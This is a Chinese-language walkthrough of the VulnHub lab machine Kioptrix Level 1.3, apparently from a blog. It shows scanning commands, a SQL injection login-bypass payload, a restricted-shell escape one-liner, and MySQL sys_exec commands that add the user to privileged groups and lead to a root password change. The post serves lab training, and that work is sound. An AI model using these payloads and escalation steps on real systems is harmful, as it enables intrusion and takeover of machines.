【Vulnhub通关】Kioptrix: Level 1.3 (#4)


准备工作

靶机基本信息

靶机名称:Kioptrix Level 1.3 (#4)

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:Bridged(桥接至物理网络)

渗透测试目标:获取靶机root权限和交互式Shell

下载地址:Kioptrix: Level 1.3 (#4) ~ VulnHub


信息收集

IP地址发现

由于靶机的网络连接方式为Bridged物理网络的IP网段为192.168.2.0/24,所以使用以下命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

由此确定靶机的IP地址为192.168.2.114

网络服务扫描

在扫描之前,先使用ping命令进行ICMP连通性测试

shell 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# ping -c 4 192.168.2.114 
PING 192.168.2.114 (192.168.2.114) 56(84) bytes of data.
64 bytes from 192.168.2.114: icmp_seq=1 ttl=64 time=8.13 ms
64 bytes from 192.168.2.114: icmp_seq=2 ttl=64 time=0.332 ms
64 bytes from 192.168.2.114: icmp_seq=3 ttl=64 time=0.348 ms
64 bytes from 192.168.2.114: icmp_seq=4 ttl=64 time=0.376 ms

--- 192.168.2.114 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.332/2.295/8.126/3.366 ms

看来无需打开nmap-Pn选项,直接扫描即可:

shell 复制代码
# -A        扫描操作系统及软件版本信息
# -sV       扫描所有TCP端口
nmap -A -sV 192.168.2.114

可以看到终端的输出如下:

据此,整理了靶机的开放服务列表:

端口 传输层协议 应用层协议 详细信息
22 TCP SSH OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80 TCP HTTP Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139 445 TCP SMB Samba smbd 3.X - 4.X Samba smbd 3.0.28a

同时得知靶机操作系统为Ubuntu LinuxLinux内核版本在2.6.92.6.33之间


服务探测

SMB服务

可以看到靶机上开放了SMB服务,而且扫描出的信息还比较多,所以单独对445号端口进行一次专门的SMB服务扫描:

shell 复制代码
enum4linux -a -o -M 192.168.2.114
nmap -p 445 --script=*smb* 192.168.2.114

得出如下信息:

  • 目标IP:192.168.2.114
  • NetBIOS:KIOPTRIX4
  • 域/工作组名称:WORKGROUP
  • Samba软件版本:3.0.28a
  • RID Range:500-5501000-1050
  • 可能的用户名:root(1000)john(3002)loneferret(3000)robert(3004)guestnobody(501)
  • 共享名称和目录:IPC`(/tmp)` -- 可读可写、print(/var/lib/samba/printers)

P.S. 由于扫描出的信息过多,一张图片放不下,请读者尝试自行扫描。

尝试连接上述用户名和共享,发现全部需要密码,连接失败。

最后尝试寻找对应Samba版本的公开EXP:

shell 复制代码
searchsploit samba 3.0.28

啊这。。。看上去没有啥能用的。。。

最后选定了如下EXP,试试看:


SSH服务

针对SSH服务的探测没什么好讲的,直接获取banner信息

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# nc 192.168.2.114 22                     
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2
^C

得出靶机OpenSSH的版本为4.7p1 之后,直接searchsploit一把梭:

shell 复制代码
searchsploit openssh 4.7

选中如下EXP:

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# searchsploit -m 45001.py 
  Exploit: OpenSSH < 6.6 SFTP - Command Execution
      URL: https://www.exploit-db.com/exploits/45001
     Path: /usr/share/exploitdb/exploits/linux/remote/45001.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/hacker/Documents/vulnhub_notes/kioptrix_level_1.3/exp目录/45001.py

HTTP服务

我们在前面已经知道了Apache的版本号为2.2.8,现在先让我们使用searchsploit搜索一下漏洞:

shell 复制代码
searchsploit apache

最后选中了这个漏洞:

  • Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution

先行保存。

Web应用程序

打开浏览器,在地址栏中输入网址:http://192.168.2.114/,进入如下页面:

只有一个登录框。查看源代码,只发现如下信息:

HTML 复制代码
<!-- More HTML codes ... -->
<tr>
	<td align="center" colspan="3" width="300">
	<image src="images/cartoon_goat.png"/>
	<!-- Image from http://www.wpclipart.com-->
	</td>
</tr>

有点没思路,使用dirsearch扫描试试:

shell 复制代码
dirsearch -u http://192.168.2.114/ -i 200,301,302

判断目标网站有以下文件及目录:

  • /images         =>    网站图片文件夹
  • /checklogin.php    =>    登录检测程序
  • /member.php      =>    用户个人空间程序
  • /logout.php      =>    退出登录程序
  • /index.php      =>    网站主页
  • /database.sql    =>    疑似数据库脚本文件泄露

渗透测试

Web应用程序

查看数据库文件

从之前对Web应用程序的扫描中,我们已经得知了网站的数据库脚本文件database.sql被暴露在了网站目录内 。如果足够幸运的话,我们甚至不需要进行SQL注入就可以直接登录进去。使用wget命令下载该文件:

shell 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# wget http://192.168.2.114/database.sql
--2023-10-18 09:23:36--  http://192.168.2.114/database.sql
正在连接 192.168.2.114:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:298 [text/plain]
正在保存至: "database.sql"

database.sql                         100%[======================================================================>]     298  --.-KB/s  用时 0s      

2023-10-18 09:23:36 (8.28 MB/s) - 已保存 "database.sql" [298/298])

查看该文件,内容如下:

SQL 复制代码
CREATE TABLE `members` (
`id` int(4) NOT NULL auto_increment,
`username` varchar(65) NOT NULL default '',
`password` varchar(65) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=2 ;

-- 
-- Dumping data for table `members`
-- 

INSERT INTO `members` VALUES (1, 'john', '1234');

从上述SQL脚本文件可以看出,网站的用户数据表有idusernamepassword三个字段还有一条貌似是数据表内的一行记录

但非常可惜,这是假密码。。。

确认SQL注入

无奈之下开始SQL注入,推测后端SQL语句如下:

SQL 复制代码
SELECT id FROM `members` WHERE username = '[INPUT]' AND password = '[INPUT]';

输入用户名john,密码111'时,报错如下图:

由此确定存在SQL注入,而且SQL的注入点在POST参数mypassword处,因为在myusername处加引号没有报错,在mypassword处就报错了

尝试使用"万能密码"登录(' or true-- -),使用"万能密码"后,原本的SQL语句就变成了:

SQL 复制代码
SELECT id FROM `members` WHERE username = 'john' AND password = '1234' or true -- -';

可以看到原本的查询语句被注释了,结果如下:

SQL注入成功!

登录后台

虽然已经进行了SQL注入,但我们不知道网站的绝对路径在哪里,因此无法写入WebShell,于是登录网站后台查看:

由此可以得知/member.php页面的作用,以及网站的其中一个登录信息:

  • 用户名:john
  • 密码:MyNameIsJohn

登录受限Shell

编辑~/.ssh/config文件:

Config 复制代码
Host 192.168.2.114
    HostKeyAlgorithms +ssh-rsa

尝试使用该网站身份凭证通过SSH登录靶机:

成功!

针对Web应用程序的渗透测试结束,进入权限提升阶段。

SMB服务

查看文本内容:

shell 复制代码
┌──(root㉿hacker)-[/home/.../Documents/vulnhub_notes/kioptrix_level_1.3/exp目录]
└─# cat ./10095.txt              
The following proof of concept is available:

smb: \> put aa%3Fbb 

这都是什么破玩意儿?????

好吧,看上去这EXP只能在登录之后使用。

针对SMB服务的渗透测试就此结束。

SSH服务

先查看EXP的源代码:

Python 复制代码
# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys

import paramiko
import sys
import time
from pwn import *

# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '192.168.2.114'
port = 22
username = 'root'
password = 'secforce'

看来需要登录才能运行这个EXP。 (不过后续可以用来尝试提权)

针对SSH服务的渗透测试就此结束。


权限提升

受限Shell逃逸

成功是成功了,但是看这个Shell,嘶,不太对啊。。。

尝试执行help命令看看有啥东西能用的:

shell 复制代码
john:~$ help                                                                   
cd  clear  echo  exit  help  ll  lpath  ls

执行lpath

shell 复制代码
john:~$ lpath
Allowed:
 /home/john

看来这是一个Limited Shell(即受限制的Shell环境),准备进行逃逸。

首先,尝试执行命令echo $SHELL

shell 复制代码
john:~$ echo $SHELL                                                                                                             
*** forbidden path -> "/bin/kshell"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.

检查管道符号:

shell 复制代码
john:~$ >>
john:~$ <<
john:~$ ||
john:~$ |
john:~$ &&

管道符号正常。

尝试执行命令:echo os.system('/bin/bash')

shell 复制代码
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

成功!!

使用Termius软件连接:

MySQL UDF提权

进入Shell之后尝试进行信息收集,首先查看目录下的文件:

shell 复制代码
john@Kioptrix4:~$ ls -lA
total 20
-rw------- 1 john john  192 2023-10-18 07:12 .bash_history
-rw-r--r-- 1 john john  220 2012-02-04 18:04 .bash_logout
-rw-r--r-- 1 john john 2940 2012-02-04 18:04 .bashrc
-rw-r--r-- 1 john john  252 2023-10-18 07:07 .lhistory
-rw-r--r-- 1 john john  586 2012-02-04 18:04 .profile

发现三个敏感文件.bash_history.bash_logout.lhistory,查看一下:

Text 复制代码
# .bash_history 部分内容
exit
sudo su
clear
ls
cd /home/loneferret
ls
./nc
rm nc
exit
=====================================================================
# .bash_logout 部分内容
## ~/.bash_logout: executed by bash(1) when login shell exits.
## when leaving the console clear the screen to increase privacy

if [ "$SHLVL" = 1 ]; then
    [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
=====================================================================
# .lhistory 部分内容
?
help
echo os.system('/bin/bash')
exit
su
sudo

貌似都没有有效的信息。查看下进程:

shell 复制代码
ps -ef

发现了突破口,MySQL竟然是以root用户运行的

那岂不是直接可以用UDF提权了?

在MySQL中,UDF是指用户自定义函数User-defined functions),它们是编写在CC++中的特定程序,可以扩展MySQL的功能。UDF提供了一种自定义函数的方式,让开发人员能够在MySQL中使用自己编写的函数。

我们先查看靶机网站目录里的checklogin.php文件,该文件内一定有MySQL的连接凭证

shell 复制代码
find / -name checklogin.php 2> /dev/null     # 找到网站根目录为/var/www/
cat /var/www/checklogin.php

PHP代码如下:

PHP 复制代码
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
        session_register("myusername");
        session_register("mypassword");
        header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>

密码居然是。。。空的????

尝试登录:

这连密码也没有是我万万想不到的。。。

照例先看下数据库之类的:

SQL 复制代码
show databases;
use mysql;
show tables;

这里发现了一个有意思的数据表mysql.func

查看一下里面有啥:

SQL 复制代码
SELECT * FROM `mysql.func`;

再次震惊。。。好好好,直接送权限是吧。。。

尝试执行一下函数sys_exec

SQL 复制代码
SELECT sys_exec("whoami");

返回的是NULL值,似乎没有回显,尝试更改john用户的用户组和登录Shell

SQL 复制代码
SELECT sys_exec('usermod -a -G root john');
SELECT sys_exec('usermod -s /bin/bash john');

第一条SQL用了0.05秒,第二条用了0.02秒,看起来是有用的,重新登录试试:

成功更改了用户john的默认Shell,切换用户组也成功了,但还是无法提权。。。

查看一下靶机里有哪些用户组:

shell 复制代码
cat /etc/group

图片中被框选的用户组引起了我的兴趣,尝试把john用户加进去:

SQL 复制代码
SELECT sys_exec('usermod -a -G admin john');

再次尝试sudo切换用户:

成功!!!

接下来就是更改root用户密码:

shell 复制代码
root@Kioptrix4:~# passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

修改Termius中的连接配置:

双击连接:


本次靶机渗透到此结束

相关推荐
用户9623779544813 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机16 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机16 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544818 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star18 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544821 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全